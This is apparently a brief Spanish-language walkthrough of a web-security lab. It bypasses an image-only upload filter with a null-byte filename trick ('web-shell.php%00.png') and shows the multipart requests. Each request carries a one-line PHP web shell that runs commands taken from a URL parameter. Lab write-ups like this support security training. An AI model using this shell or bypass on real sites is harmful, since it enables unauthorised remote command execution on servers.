Web shell upload via obfuscated file extension

Al intentar subir un archivo php el sitio web no nos deja, debido a que solo aceptar archivos .png

------geckoformboundary74533c01c28a06dc2c5de15cdc62ef78
Content-Disposition: form-data; name="avatar"; filename="web-shell.php"
Content-Type: application/x-php


<?php system($_GET['cmd']); ?>

‰PNG


En nuestra request agregamos .png y enviamos y el sitio web nos deja subir el archivo

------geckoformboundary74533c01c28a06dc2c5de15cdc62ef78
Content-Disposition: form-data; name="avatar"; filename="web-shell.php.png"
Content-Type: application/x-php


<?php system($_GET['cmd']); ?>

‰PNG


Por lo que podemos usar %00 para poder escapar la extensión de .png

Al enviar la solicitud observamos que el sitio web nos permite subir el archivo.

------geckoformboundary74533c01c28a06dc2c5de15cdc62ef78
Content-Disposition: form-data; name="avatar"; filename="web-shell.php%00.png"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

‰PNG